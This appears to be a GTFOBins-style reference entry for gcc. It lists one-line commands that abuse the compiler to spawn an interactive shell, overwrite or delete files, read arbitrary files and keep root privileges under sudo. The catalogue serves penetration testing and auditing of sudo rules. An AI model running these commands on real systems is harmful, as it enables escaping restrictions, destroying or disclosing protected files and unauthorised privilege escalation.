It can be used to break out from restricted environments by spawning an interactive system shell.
gcc -wrapper /bin/sh,-s .
It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.
LFILE=file_to_delete
gcc -xc /dev/null -o $LFILE
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read
gcc -x c -E "$LFILE"
If the binary is allowed to run as superuser by sudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo gcc -wrapper /bin/sh,-s .